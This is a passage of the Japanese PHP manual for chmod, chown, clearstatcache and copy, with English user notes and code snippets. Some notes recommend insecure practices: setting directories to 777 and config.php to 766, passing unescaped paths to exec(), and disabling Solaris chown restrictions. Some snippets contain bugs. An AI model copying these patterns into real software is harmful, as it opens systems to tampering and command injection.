            $fullpath = $path.'/'.$file;
            if(is_link($fullpath))
                return FALSE;
            elseif(!is_dir($fullpath))
                if (!chmod($fullpath, $filemode))
                    return FALSE;
            elseif(!chmod_R($fullpath, $filemode))
                return FALSE;
        }
    }

    closedir($dh);

    if(chmod($path, $filemode))
        return TRUE;
    else
        return FALSE;
}
?>
thanks alls
paul maybe at squirrel mail org 24-Apr-2008 05:09
Note that info at rvgate dot nl's chmodnum function produces INCORRECT results.  The resutls are base-10 numbers that only LOOK like they are octal numbers.  The function also ignores setuid, setgid and sticky bits, and will produce incorrect numbers if such a file is encountered.  Instead, this brute-force code works.  Maybe there is something more slick, but this isn't too CPU-intensive (note that it assumes you've error-checked that you indeed have a 10-character string!):

<?php
      $permissions = 'drwxr-xr-x';  // or whatever
      $mode = 0;

      if ($permissions[1] == 'r') $mode += 0400;
      if ($permissions[2] == 'w') $mode += 0200;
      if ($permissions[3] == 'x') $mode += 0100;
      else if ($permissions[3] == 's') $mode += 04100;
      else if ($permissions[3] == 'S') $mode += 04000;

      if ($permissions[4] == 'r') $mode += 040;
      if ($permissions[5] == 'w') $mode += 020;
      if ($permissions[6] == 'x') $mode += 010;
      else if ($permissions[6] == 's') $mode += 02010;
      else if ($permissions[6] == 'S') $mode += 02000;

      if ($permissions[7] == 'r') $mode += 04;
      if ($permissions[8] == 'w') $mode += 02;
      if ($permissions[9] == 'x') $mode += 01;
      else if ($permissions[9] == 't') $mode += 01001;
      else if ($permissions[9] == 'T') $mode += 01000;

      printf('Mode is %d decimal and %o octal', $mode, $mode);
?>
Ambriel_Angel at www dot ambriels dot net/entry 25-Mar-2007 06:00
<?php
error_reporting(E_ERROR | E_PARSE);
/* Makes is so Directories are not browseable to the public,
removing only the Public = Read permission, while leaving
the other chmod permissions for the file in tact.

If you have exectue already on, and read off, public viewers will only
be able to view files through links, but not browse
around to see what's inside of directories and see what
you've got laying around. */
//-------------------------------------------------------
// Get file mode
// Get file permissions supported by chmod
function getmod($filename) {
   $val = 0;
   $perms = fileperms($filename);
   // Owner; User
   $val += (($perms & 0x0100) ? 0x0100 : 0x0000); //Read
   $val += (($perms & 0x0080) ? 0x0080 : 0x0000); //Write
   $val += (($perms & 0x0040) ? 0x0040 : 0x0000); //Execute

   // Group
   $val += (($perms & 0x0020) ? 0x0020 : 0x0000); //Read
   $val += (($perms & 0x0010) ? 0x0010 : 0x0000); //Write
   $val += (($perms & 0x0008) ? 0x0008 : 0x0000); //Execute

   // Global; World
   $val += (($perms & 0x0004) ? 0x0004 : 0x0000); //Read
   $val += (($perms & 0x0002) ? 0x0002 : 0x0000); //Write
   $val += (($perms & 0x0001) ? 0x0001 : 0x0000); //Execute

   // Misc
   $val += (($perms & 0x40000) ? 0x40000 : 0x0000); //temporary file (01000000)
   $val += (($perms & 0x80000) ? 0x80000 : 0x0000); //compressed file (02000000)
   $val += (($perms & 0x100000) ? 0x100000 : 0x0000); //sparse file (04000000)
   $val += (($perms & 0x0800) ? 0x0800 : 0x0000); //Hidden file (setuid bit) (04000)
   $val += (($perms & 0x0400) ? 0x0400 : 0x0000); //System file (setgid bit) (02000)
   $val += (($perms & 0x0200) ? 0x0200 : 0x0000); //Archive bit (sticky bit) (01000)

   return $val;
}

//-------------------------------------------------------
// Find out if file has mode
function hasmod($perms, $permission) {

# User Read = 0400 (256), Write = 0200 (128), Execute = 0100 (64)
# Group Read = 0040 (32), Write = 0020 (16), Execute = 0010 (8)
# Public Read = 0004 (4), Write = 0002 (2), Execute = 0001 (1)

    return (($perms & $permission) == $permission);
}

//-------------------------------------------------------
// Take the read option off of all the subdirectories of the included path
function pathlock($dir, $listall = false, $testrun = true) {
   echo "START @ " . date("F j, Y, h:i:s A") . "<br><br>";
   echo ($testrun ? '**Test Run Activated (no changes will be made).**<br><br>' : '**Live Run Activated.**<br><br>');
   echo $dir . " is our directory.<br><br>\n";
   echo "[...IN PROGRESS...]<br><br>";

   $file_list = '';
   $stack[] = $dir;

   while ($stack) {
      $current_dir = array_pop($stack);
      if ($dh = opendir($current_dir)) {
          while (($file = readdir($dh)) !== false) {
              if ($file !== '.' AND $file !== '..') {
                  $current_file = "{$current_dir}/{$file}";
               if (is_dir($current_file)) {
                      // BEG ADD PATH
                   $mode = getmod($current_file);    //Get the mode
                      $HasPubRead = hasmod($mode,4);
                   if ($HasPubRead || $listall) {    // Can the public read this dir?
                  //======================================
                    $ch = true;
                  $take = 0;
                       // Change the mode:
                     if ($HasPubRead) {
                          $take = 4;         // Value for Public Read. 4 is the same in octal and decimal.
                          if (!$testrun) {
                              $ch = chmod($current_file, $mode-$take);
                          }
                      }

                    echo $current_file . ",current=" . decoct($mode) .
                        (($mode!==$mode-$take) ? ",new=" . decoct($mode-$take) : '') .
                        ($ch ? '' : ',FAILED') . "<br>\n";
                   } // end if hasmod
                   // END ADD PATH
                      $stack[] = $current_file;
                  } // if if_dir
              } //if ($file !== '.' AND $file !== '..')
          } //while (($file = readdir($dh)) !== false)
      } //if ($dh = opendir($current_dir))
} // while ($stack)

    echo "<br>COMPLETE @ " . date("F j, Y, h:i:s A") . "<br>\n";
return;
   //return $path_list;
} // end function

//-------------------------------------------------------
    //listall Show all folders, even one's we're not going to process?
    //testrun Do a test run without making any changes
    pathlock($_SERVER["DOCUMENT_ROOT"],false,true); // listall?=false, testrun?=true

?>
webmaster at danopia dot 5gigs dot com 02-Jan-2007 06:20
Thanks for your code, "imoldgreg at o2 dot co dot uk". I am using it for an instalation script that has to CHMOD a bunch of files. I have found it faster to use the same connectino for each, as shown below.

<?php

// Thanks to "imoldgreg at o2 dot co dot uk" for the base 'CHMOD via FTP' script.

function chmod_open()
{
    // Use your own FTP info
    $ftp_user_name = 'chmod@XXXXXXXXX.com';
    $ftp_user_pass = 'XXXXXXXXXX';
    $ftp_root = '/';
    $ftp_server = 'localhost';
    $conn_id = ftp_connect($ftp_server);
    $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
    return $conn_id;
}

function chmod_file($conn_id, $permissions, $path)
{
    if (ftp_site($conn_id, 'CHMOD ' . $permissions . ' ' . $ftp_root . $path) !== false)
    {
        return TRUE;
    }
    else
    {
        return FALSE;
    }
}

function chmod_close($conn_id)
{
    ftp_close($conn_id);
}

// CHMOD the required setup files

// Connect to the FTP
$conn_id = chmod_open();

// CHMOD each file and echo the results
echo chmod_file($conn_id, 777, 'master/cache/') ? 'CHMODed successfully!' : 'Error';
echo chmod_file($conn_id, 777, 'master/files/') ? 'CHMODed successfully!' : 'Error';
echo chmod_file($conn_id, 777, 'master/store/') ? 'CHMODed successfully!' : 'Error';
echo chmod_file($conn_id, 766, 'master/config.php') ? 'CHMODed successfully!' : 'Error';
echo chmod_file($conn_id, 777, 'master/images/avatars/upload/') ? 'CHMODed successfully!' : 'Error';

// Close the connection
chmod_close($conn_id);

?>

Here, the same FTP connection is used for each CHMOD command, making the execute time lower. This is essential for me, since my script is also copying a bunch of files.
imoldgreg at o2 dot co dot uk 30-Nov-2006 05:32
an update to 'neil at 11 out of 10's code for changing mode using FTP.

changes: proper array added within the function (better for those of us who only need to connect to one ftp server) so only the mode and directory name need to be passed.

the octal added, for completeness and predictable stability.

<?php
function changemode($xcite)
{
$ftp_details = array(
ftp_user_name => 'username',
ftp_user_pass => 'password',
ftp_user_root => '/public_html/',
ftp_server => 'ftp.something.org'
);

$path = "public";
$mod = intval($xcite, 8);

   // extract ftp details (array keys as variable names)
   extract ($ftp_details);

   // set up basic connection
   $conn_id = ftp_connect($ftp_server);

   // login with username and password
   $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

   // try to chmod $path directory
   if (ftp_site($conn_id, 'CHMOD '.$mod.' '.$ftp_root.$path) !== false) {
       $success=TRUE;
   }
   else {
       $success=FALSE;
   }

   // close the connection
   ftp_close($conn_id);
    return $success;
}

?>

for those of you, like me, who were looking for a way to make an 'un-hackable' uploader, here's the closest i got, now for a field test, good luck!
masha at mail dot ru 10-Jul-2005 09:23
Usefull reference:

Value    Permission Level
400    Owner Read
200    Owner Write
100    Owner Execute
40    Group Read
20    Group Write
10    Group Execute
4    Global Read
2    Global Write
1    Global Execute

(taken from http://www.onlamp.com/pub/a/php/2003/02/06/php_foundations.html)
alex at feidesign dot com 01-Apr-2005 04:20
If you cannot chmod files/directories with PHP because of safe_mode restrictions, but you can use FTP to chmod them, simply use PHP's FTP-functions (eg. ftp_chmod or ftp_site) instead. Not as efficient, but works.
pmichaud at pobox dot com 19-Apr-2003 03:45
In the previous post, stickybit avenger writes:
    Just a little hint. I was once adwised to set the 'sticky bit', i.e. use 1777 as chmod-value...

Note that in order to set the sticky bit on a file one must use '01777' (oct) and not '1777' (dec) as the parameter to chmod:

<?php
    chmod("file",01777);   // correct
     chmod("file",1777);    // incorrect, same as chmod("file",01023), causing no owner permissions!
?>

Rule of thumb: always prefix octal mode values with a zero.


ファイルの所有者を変更する

  • ≪ chmod
  • clearstatcache ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルの所有者を変更する

chown

(PHP 4, PHP 5, PHP 7, PHP 8)

chown — ファイルの所有者を変更する

説明

chown ( string $filename , string|int $user ) : bool

ファイルfilenameの所有者を(名前または番号で指定した) ユーザーuserに変更しようと試みます。 スーパーユーザーのみがファイルの所有者を変更できます。

パラメータ

filename

ファイルへのパス。

user

ユーザー名あるいはユーザー番号。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 シンプルな chown() の例

<?php

// 使用するファイル名とユーザー名
$file_name= "foo.php";
$path = "/home/sites/php.net/public_html/sandbox/" . $file_name ;
$user_name = "root";

// ユーザーを設定します
chown($path, $user_name);

// 結果を確認します
$stat = stat($path);
print_r(posix_getpwuid($stat['uid']));

?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [name] => root
    [passwd] => x
    [uid] => 0
    [gid] => 0
    [gecos] => root
    [dir] => /root
    [shell] => /bin/bash
)

注意

注意: この関数では、 リモートファイル を 使用することはできません。これは、処理されるファイルがサーバーの ファイルシステムによりアクセスできる必要があるためです。

注意: Windows で通常ファイルに対してこの関数を実行すると、静かに失敗します。

参考

  • chmod() - ファイルのモードを変更する
  • chgrp() - ファイルのグループを変更する

User Contributed Notes

rickard at 0x539 dot se 18-Jun-2009 02:04
For most modern Linux systems your apache user should not be run as root, and in order to change the ownership of a file or directory, you need to be root. To get around this problem you can use sudo, but be careful with what permissions you give. Here is an example which is working for me:

www-data        ALL = NOPASSWD: /bin/chown 1[1-9][0-9][0-9]\:1[1-9][0-9][0-9] /home/www/[a-zA-Z0-9]*

This allows the apache server to change ownership of files in /home/www with name containing a-z, A-Z or numbers (note: no subdirectories). The only valid input of userid is a four digit numeric id, between 1100 and 1999.

Hope this helps.
Mikevac at yahoo dot com 01-Feb-2008 11:42
I've only tested this on Solaris 10 so your mileage may vary.

To allow the apache daemon to change file ownership without being root, add the following line to /etc/system:

set rstchown=0

Reboot the server.

There are security concerns doing this as this modification allows any user to change ownership of their files to anyone else.
Tayfun Bilsel 11-Jan-2006 08:13
Simple usage of the chown:

<?php

$file_name= "test";
$path = "/var/www/html/test/" . $file_name ;

$user_name = "root";

chown($path, $user_name);

?>
greg _at_ rhythmicdesign d.o.t com 23-Feb-2004 04:00
<?php
function recurse_chown_chgrp($mypath, $uid, $gid)
{
    $d = opendir ($mypath) ;
    while(($file = readdir($d)) !== false) {
        if ($file != "." && $file != "..") {

            $typepath = $mypath . "/" . $file ;

            //print $typepath. " : " . filetype ($typepath). "<BR>" ;
            if (filetype ($typepath) == 'dir') {
                recurse_chown_chgrp ($typepath, $uid, $gid);
            }

            chown($typepath, $uid);
            chgrp($typepath, $gid);

        }
    }

 }

recurse_chown_chgrp ("uploads", "unsider", "unsider") ;
?>

for older versions.. unfortunately, it seems I do not have permission to perform these functions.
Klaus Zierer 27-Jun-2003 08:37
If you want to chown a symlink, PHP will follow the symlink and change the target file.

If you want to chown the symlink, you have to use shell_exec("/bin/chown user.group symlink");
martijn at sigterm dot nl 20-Jun-2003 07:28
If chown is filled with a variable (  chown ("myfile", $uid) the uid will be looked up through pwget_uid.

So if you need to set a non existing uid use inval($uid).
njs+php at scifi dot squawk dot com 21-Sep-2000 11:28
If you allow sudo execution for chmod by "nobody" (www, webdaemon, httpd, whatever user php is running under)in this manner, it had better be a system on which the owner is able to be root and no one else can run code, else your whole system is compromised.  Someone could change the mode of /etc/passwd or the shadow password file.

Other system commands (sudo mount) and so forth are similar.


ファイルのステータスのキャッシュをクリアする

  • ≪ chown
  • copy ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルのステータスのキャッシュをクリアする

clearstatcache

(PHP 4, PHP 5, PHP 7, PHP 8)

clearstatcache — ファイルのステータスのキャッシュをクリアする

説明

clearstatcache ( bool $clear_realpath_cache = false , string $filename = "" ) : void

statやlstat、 またはその他の関数（後述）を使用すると、PHPはパフォーマンス向上のために それらの関数の戻り値をキャッシュします。しかし、ケースによっては、 キャッシュされた情報を消去したい場合もあるでしょう。 例えば、一つのスクリプト上で同じファイルが何度もチェックされ、 そのファイルが変更されたり削除されたりする可能性がある場合、 ステータスキャッシュを消去しなければならないと感じるでしょう。 このようなケースでは、clearstatcache()を使用することで ファイルの情報に関してPHPが持っているキャッシュをクリアすることができます。

PHP は存在しないファイルについての情報はキャッシュしないことにも 注意してください。もし存在しないファイルに対して file_exists() をコールする場合、ファイルを作成するまで この関数は false を返します。もしファイルを作成した場合、 たとえファイルを削除したとしても true を返します。 しかし、unlink() はキャッシュを自動的にクリアします。

注意:

この関数は特定のファイルに関する情報をキャッシュします。したがって、 同じファイルについて複数回の操作を行いそのファイルに関する情報を キャッシュされないようにするためには、 clearstatcache()をコールするだけです。

影響を受ける関数を以下に示します。
stat(),
lstat(),
file_exists(),
is_writable(),
is_readable(),
is_executable(),
is_file(),
is_dir(),
is_link(),
filectime(),
fileatime(),
filemtime(),
fileinode(),
filegroup(),
fileowner(),
filesize(),
filetype(), および
fileperms().

パラメータ

clear_realpath_cache

realpath キャッシュをクリアするか否か。

filename

realpath キャッシュと stat キャッシュを特定のファイル名だけに対してクリアする。 clear_realpath_cache が true の場合にのみ使用。

返り値

値を返しません。

例

例1 clearstatcache() の例

<?php
$file = 'output_log.txt';

function get_owner($file)
{
    $stat = stat($file);
    $user = posix_getpwuid($stat['uid']);
    return $user['name'];
}

$format = "UID @ %s: %s\n";

printf($format, date('r'), get_owner($file));

chown($file, 'ross');
printf($format, date('r'), get_owner($file));

clearstatcache();
printf($format, date('r'), get_owner($file));
?>

上の例の出力は、 たとえば以下のようになります。

UID @ Sun, 12 Oct 2008 20:48:28 +0100: root
UID @ Sun, 12 Oct 2008 20:48:28 +0100: root
UID @ Sun, 12 Oct 2008 20:48:28 +0100: ross

User Contributed Notes

vechenjivot at gmail dot com 03-Jul-2020 06:09
Not documented, but seems like clearstatcache() is clearing the cache only for the process it is being called from. I have 2 PHP scripts running simultaneously, and the first one does call clearstatcache(), but still the second one deadlocks, unless I call clearstatcache() in it too:

script1:
<?php
    touch('system.lock');
    ...
    unlink('system.lock');
    clearstatcache(); // should be done by unlink?
?>

script2:
<?php
    while (is_file('system.lock') {
        sleep(1);
        clearstatcache(); // without this, script 2 will deadlock forever!
    }
?>

I also found this page, which leads to the same conclusion:
https://stackoverflow.com/questions/9251237/clearstatcache-include-path-sessions
msaladna at apisnetworks dot com 10-Dec-2019 11:10
clearstatcache() does not canonicalize the path. clearstatcache(true, "/a/b/c") is different from clearstatcache(true, "/a/b//c").
Gabriel 18-Dec-2018 04:03
Definition of $filename parameter let's you think that it expects the filename only but it works if you give the path + filename also.

It should be more clear about this.
David Spector 07-Dec-2018 01:48
Note that this function affects only file metadata. However, all the PHP file system functions do their own caching of actual file contents as well. You can use the "realpath_cache_size = 0" directive in PHP.ini to disable the content caching if you like. The default content caching timeout is 120 seconds.

Content caching is not a good idea during development work and for certain kinds of applications, since your code may read in old data from a file whose contents you have just changed.

Note: This is separate from the caching typically done by browsers for all GET requests (the majority of Web accesses) unless the HTTP headers override it. It is also separate from optional Apache server caching.
bj at wjblack dot com 22-Jan-2015 02:36
Just to make this more obvious (and so search engines find this easier):

If you do fileops of any kind outside of PHP (say via a system() call), you probably want to clear the stat cache before doing any further tests on the file/dir/whatever.  For example:

<?php
// is_dir() forces a stat call, so the cache is populated
if( is_dir($foo) ) {
    system("rm -rf " . escapeshellarg($foo));
    if( is_dir($foo) ) {
        // ...will still be true, even if the rm succeeded, because it's just
        // reading from cache, not re-running the stat()
    }
}
?>

Pop a clearstatcache() after the system call and all is good (modulo a bit of a performance hit from having a cleared stat cache :-( ).
matt_m at me dot com 23-Sep-2011 03:04
unlink() does not clear the cache if you are performing file_exists() on a remote file like:

<?php
if (file_exists("ftp://ftp.example.com/somefile"))
?>

In this case, even after you unlink() successfully, you must call clearstatcache().

<?php
unlink("ftp://ftp.example.com/somefile");
clearstatcache();
?>

file_exists() then properly returns false.
markandrewslade at gmail dot com 08-Mar-2010 11:54
On Linux, a forked process inherits a copy of the parent's cache, but after forking the two caches do not impact each other.  The snippet below demonstrates this by creating a child and confirming outdated (cached) information, then clearing the cache, and getting new information.

<?php

function report($directory, $prefix = '') { printf('%sDoes %s exist?  PHP says "%s"'. PHP_EOL, $prefix, $directory, is_dir($directory) ? 'yes' : 'no'); }
$target = './delete-me-before-running-statcache';

if (is_dir($target)) {
    die("Delete $target before running.\n");
}

echo "Creating $target.\n";
mkdir($target) || die("Unable to create $target.\n");
report($target); // is_dir($target) is now cached as true

echo "Unlinking $target.\n";
rmdir($target) || die("Unable to unlink $target.\n");

// This will say "yes", which is old (inaccurate) information.
report($target);

if (($pid = pcntl_fork()) === -1) { die("Failed to pcntl_fork.\n"); }
elseif ($pid === 0) {
    // child
    report($target, '<<child>> ');
    echo "<<child>> Clearing stat cache.\n";
    clearstatcache();
    report($target, '<<child>> ');
} else {
    // parent
    sleep(2); // move this to the child block to reverse the test.
    report($target, '<<<parent>> ');
    clearstatcache();
    report($target, '<<<parent>> ');
}

?>


ファイルをコピーする

  • ≪ clearstatcache
  • delete ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルをコピーする

copy

(PHP 4, PHP 5, PHP 7, PHP 8)

copy — ファイルをコピーする

説明

copy ( string $source , string $dest , resource $context = ? ) : bool

ファイル source を dest にコピーします。

ファイルを移動したいならば、rename() 関数を使用してください。

パラメータ

source

コピー元ファイルへのパス。

dest

コピー先のパス。dest が URL の場合、 既存ファイルへの上書きをラッパーがサポートしていない場合にはコピーが失敗します。

警告

コピー先のファイルが既に存在する場合、上書きされます。

context

stream_context_create() で作成した有効なコンテキストリソース。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 copy() の例

<?php
$file = 'example.txt';
$newfile = 'example.txt.bak';

if (!copy($file, $newfile)) {
    echo "failed to copy $file...\n";
}
?>

参考

  • move_uploaded_file() - アップロードされたファイルを新しい位置に移動する
  • rename() - ファイルをリネームする
  • マニュアルの ファイルアップロード処理

User Contributed Notes

mishawagon at gmail dot com 05-Mar-2019 06:26
Copy failed for me until I added dirname(__FILE__) to the file paths.
copy(dirname(__FILE__).$tempdata,dirname(__FILE__).$filepath)
2mobile at gmail dot com 04-Feb-2017 09:51
If you have problems with "failed to open stream: Permission denied"

Check if the user that PHP runs under have "X" permission on every directory of the file path.
It will need it to access the file

If your file is: /path/to/test-in.txt
You should have X permission on:

/path
/path/to
and read permission on /path/to/test-in.txt
Vinicio Coletti 26-Dec-2015 11:03
Copying large files under Windows 8.1, from one NTFS filesystem to another NTFS filesystem, results in only the first 4 GiB copied and the rest of the file is ignored.

So, if you think to have files larger than 4 GiB, instead of doing:
   copy($source,$destination);
it is much better to do something like:
   exec("xcopy $source $destination");

I will check to see if this issue is valid also under Linux.
It depends on PHP not being compiled in 64 bit mode?
hugo_2000 at gmx dot at 26-Jun-2015 02:43
If you try to copy a file to itself - e.g. if the target directory is just a symlink to the source directory - copy will return false. just like on the command line.
Bas Vijfwinkel 20-May-2015 07:09
Paths and filenames with Japanese characters are not handled correctly if you are running Apache/PHP on a Windows machine.
With the following code you can convert e.g. the network path to the appropriate encoding so that Windows understands where to look:

<?PHP

function convertPath($path)
{
    //split networkpath into parts
    $parts = explode('\\',$path);
    // convert each part to SJIS
    foreach($parts as $index => $part)
    {
         $parts[$index] = iconv('UTF-8','SJIS//IGNORE',$part);
    }
    // put the network path back together
    return implode('\\',$parts);
}

$oldname = convertPath('c:/Temp/ほげほげ.pdf');
$newname  = convertPath('\\\\PFSV0100\\DATA\\06：個人別\\333328_ほげほげ\\test_あいうえお.pdf');

copy($oldname, $newname);
?>

There are however a number of characters that cannot be converted correctly like '②' and '﨑' because there are no SJIS equivalents.
ASchmidt at Anamera dot net 28-May-2014 01:49
Below a code snippet for downloading a file from a web server to a local file.

It demonstrates useful customizations of the request (such as setting a User-Agent and Referrer, often required by web sites), and how to download only files if the copy on the web site is newer than the local copy.

It further demonstrates the processing of response headers (if set by server) to determine the timestamp and file name. The file type is checked because some servers return a 200 OK return code with a textual "not found" page, instead of a proper 404 return code.

<?php
// $fURI:         URL to a file located on a web server
// $target_file:    Path to a local file

if ( file_exists( $target_file ) ) {
    $ifmodhdr = 'If-Modified-Since: '.date( "r", filemtime( $target_file ) )."\r\n";
}
else {
    $ifmodhdr = '';
}

// set request header for GET with referrer for modified files, that follows redirects
$arrRequestHeaders = array(
    'http'=>array(
        'method'        =>'GET',
        'protocol_version'    =>1.1,
        'follow_location'    =>1,
        'header'=>    "User-Agent: Anamera-Feed/1.0\r\n" .
                     "Referer: $source\r\n" .
            $ifmodhdr
            )
        );
$rc = copy( $fURI, $target_file, stream_context_create($arrRequestHeaders) );

// HTTP request completed, preserve system error, if any
if( $rc ) {
    if ( fclose( $rc ) ) {
        unset( $err );
    }
    else {
        $err = error_get_last();
    }
}
else {
    $err = error_get_last();
}

// Parse HTTP Response Headers for  HTTP Status, as well filename, type, date information
// Need to start from rear, to get last set of headers after possible sets of redirection headers
if ( $http_response_header ) {
    for ( $i = sizeof($http_response_header) - 1; $i >= 0; $i-- ) {
        if ( preg_match('@^http/\S+ (\S{3,}) (.+)$@i', $http_response_header[$i], $http_status) > 0 ) {
            // HTTP Status header means we have reached beginning of response headers for last request
            break;
        }
        elseif ( preg_match('@^(\S+):\s*(.+)\s*$@', $http_response_header[$i], $arrHeader) > 0 ) {
            switch ( $arrHeader[1] ) {
                case 'Last-Modified':
                    if ( !isset($http_content_modtime) ) {
                        $http_content_modtime = strtotime( $arrHeader[2] );
                    }
                    break;
                case 'Content-Type':
                    if ( !isset($http_content_image_type) ) {
                        if ( preg_match('@^image/(\w+)@ims', $arrHeader[2], $arrTokens) > 0 ) {
                            if ( in_array(strtolower($arrTokens[1]), $arrValidTypes)) {
                                $http_content_image_type = $arrTokens[1];
                                break;
                            }
                        }
                        throw new Exception( "Error accessing file $fURI; invalid content type: $arrHeader[2]", 2);
                    }
                    break;
                case 'Content-Disposition':
                    if ( !isset($http_content_filename) && preg_match('@filename\\s*=\\s*(?|"([^"]+)"|([\\S]+));?@ims', $arrHeader[2], $arrTokens) > 0 ) {
                        $http_content_filename = basename($arrTokens[1]);
                    }
                    break;
            }
        }
    }
}

if ( $http_status ) {
    // Make sure we have good HTTP Status
    switch ( $http_status[1] ) {
        case '200':
            // SUCCESS: HTTP Status is "200 OK"
            break;
        case '304':
            throw new Exception( "Remote file not newer: $fURI", $http_status[1] );
            break;
        case '404':
            throw new Exception( "Remote file not found: $fURI", $http_status[1] );
            break;
        default:
            throw new Exception( "HTTP Error, $http_status[2], accessing $fURI", $http_status[1] );
            break;
    }
}
elseif ( $err ) {
    // Protocol / Communication error
    throw new Exception( $err['message']/*."; Remote file: $fURI"*/, $err['type'] );
}
else {
    // No HTTP status and no error
    throw new customException( "Unknown HTTP response accessing $fURI: $http_response_header[0]", -1 );
}
?>

Notes:
1. Currently copy() does NOT appropriately handle the 304 response code. Instead of NOT performing a copy (possibly setting the RC), it will overwrite the target file with an zero length file.
2. There may be a problem accessing a list of remote files when HTTP 1.1 protocol is used. If you experience time-out errors, try the default 1.0 protocol version.
absorbentshoulderman at gmail dot com 03-Apr-2013 12:51
A nice simple trick if you need to make sure the folder exists first:

<?php

$srcfile='C:\File\Whatever\Path\Joe.txt';
$dstfile='G:\Shared\Reports\Joe.txt';
mkdir(dirname($dstfile), 0777, true);
copy($srcfile, $dstfile);

?>

That simple.
promaty at gmail dot com 17-May-2011 11:13
Here is a simple script that I use for removing and copying non-empty directories. Very useful when you are not sure what is the type of a file.

I am using these for managing folders and zip archives for my website plugins.

<?php

// removes files and non-empty directories
function rrmdir($dir) {
  if (is_dir($dir)) {
    $files = scandir($dir);
    foreach ($files as $file)
    if ($file != "." && $file != "..") rrmdir("$dir/$file");
    rmdir($dir);
  }
  else if (file_exists($dir)) unlink($dir);
}

// copies files and non-empty directories
function rcopy($src, $dst) {
  if (file_exists($dst)) rrmdir($dst);
  if (is_dir($src)) {
    mkdir($dst);
    $files = scandir($src);
    foreach ($files as $file)
    if ($file != "." && $file != "..") rcopy("$src/$file", "$dst/$file");
  }
  else if (file_exists($src)) copy($src, $dst);
}
?>

Cheers!
cory at veck dot ca 29-Apr-2011 11:17
My own 'cp -R' written in PHP.

Hopefully it will work for your situation. I'm using it in a web based file manager for my CMS.

<?php

    define('DS', DIRECTORY_SEPARATOR); // I always use this short form in my code.

    function copy_r( $path, $dest )
    {
        if( is_dir($path) )
        {
            @mkdir( $dest );
            $objects = scandir($path);
            if( sizeof($objects) > 0 )
            {
                foreach( $objects as $file )
                {
                    if( $file == "." || $file == ".." )
                        continue;
                    // go on
                    if( is_dir( $path.DS.$file ) )
                    {
                        copy_r( $path.DS.$file, $dest.DS.$file );
                    }
                    else
                    {
                        copy( $path.DS.$file, $dest.DS.$file );
                    }
                }
            }
            return true;
        }
        elseif( is_file($path) )
        {
            return copy($path, $dest);
        }
        else
        {
            return false;
        }
    }

?>
eng-ayman at aymax dot net 30-Aug-2009 05:48
some hosts disable copy() function and say its for security

and for some copy is important so this is and simple function that do same as copy function effect

how smart php can help us l like php

<?php
    function copyemz($file1,$file2){
          $contentx =@file_get_contents($file1);
                   $openedfile = fopen($file2, "w");
                   fwrite($openedfile, $contentx);
                   fclose($openedfile);
                    if ($contentx === FALSE) {
                    $status=false;
                    }else $status=true;

                    return $status;
    }
?>
Sina Salek 02-Jun-2009 05:02
Thanks for all the comments, i wrote this function for fully supporting file and directory copy.
As you may have noticed there are feature that didn't have time to implement , but if you have time to implement them or even add more cool features, please notify me as well :). you can find me here http://sina.salek.ws/en/contact

PS : It was very useful for me, hope you find it useful as well.

<?php
    /**
     * Copy file or folder from source to destination, it can do
     * recursive copy as well and is very smart
     * It recursively creates the dest file or directory path if there weren't exists
     * Situtaions :
     * - Src:/home/test/file.txt ,Dst:/home/test/b ,Result:/home/test/b -> If source was file copy file.txt name with b as name to destination
     * - Src:/home/test/file.txt ,Dst:/home/test/b/ ,Result:/home/test/b/file.txt -> If source was file Creates b directory if does not exsits and copy file.txt into it
     * - Src:/home/test ,Dst:/home/ ,Result:/home/test/** -> If source was directory copy test directory and all of its content into dest
     * - Src:/home/test/ ,Dst:/home/ ,Result:/home/**-> if source was direcotry copy its content to dest
     * - Src:/home/test ,Dst:/home/test2 ,Result:/home/test2/** -> if source was directoy copy it and its content to dest with test2 as name
     * - Src:/home/test/ ,Dst:/home/test2 ,Result:->/home/test2/** if source was directoy copy it and its content to dest with test2 as name
     * @todo
     *     - Should have rollback technique so it can undo the copy when it wasn't successful
     *  - Auto destination technique should be possible to turn off
     *  - Supporting callback function
     *  - May prevent some issues on shared enviroments : http://us3.php.net/umask
     * @param $source //file or folder
     * @param $dest ///file or folder
     * @param $options //folderPermission,filePermission
     * @return boolean
     */
    function smartCopy($source, $dest, $options=array('folderPermission'=>0755,'filePermission'=>0755))
    {
        $result=false;

        if (is_file($source)) {
            if ($dest[strlen($dest)-1]=='/') {
                if (!file_exists($dest)) {
                    cmfcDirectory::makeAll($dest,$options['folderPermission'],true);
                }
                $__dest=$dest."/".basename($source);
            } else {
                $__dest=$dest;
            }
            $result=copy($source, $__dest);
            chmod($__dest,$options['filePermission']);

        } elseif(is_dir($source)) {
            if ($dest[strlen($dest)-1]=='/') {
                if ($source[strlen($source)-1]=='/') {
                    //Copy only contents
                } else {
                    //Change parent itself and its contents
                    $dest=$dest.basename($source);
                    @mkdir($dest);
                    chmod($dest,$options['filePermission']);
                }
            } else {
                if ($source[strlen($source)-1]=='/') {
                    //Copy parent directory with new name and all its content
                    @mkdir($dest,$options['folderPermission']);
                    chmod($dest,$options['filePermission']);
                } else {
                    //Copy parent directory with new name and all its content
                    @mkdir($dest,$options['folderPermission']);
                    chmod($dest,$options['filePermission']);
                }
            }

            $dirHandle=opendir($source);
            while($file=readdir($dirHandle))
            {
                if($file!="." && $file!="..")
                {
                     if(!is_dir($source."/".$file)) {
                        $__dest=$dest."/".$file;
                    } else {
                        $__dest=$dest."/".$file;
                    }
                    //echo "$source/$file ||| $__dest<br />";
                    $result=smartCopy($source."/".$file, $__dest, $options);
                }
            }
            closedir($dirHandle);

        } else {
            $result=false;
        }
        return $result;
    }
?>
gimmicklessgpt at gmail dot com 20-May-2009 04:04
Here's a simple recursive function to copy entire directories

Note to do your own check to make sure the directory exists that you first call it on.

<?php
function recurse_copy($src,$dst) {
    $dir = opendir($src);
    @mkdir($dst);
    while(false !== ( $file = readdir($dir)) ) {
        if (( $file != '.' ) && ( $file != '..' )) {
            if ( is_dir($src . '/' . $file) ) {
                recurse_copy($src . '/' . $file,$dst . '/' . $file);
            }
            else {
                copy($src . '/' . $file,$dst . '/' . $file);
            }
        }
    }
    closedir($dir);
}
?>
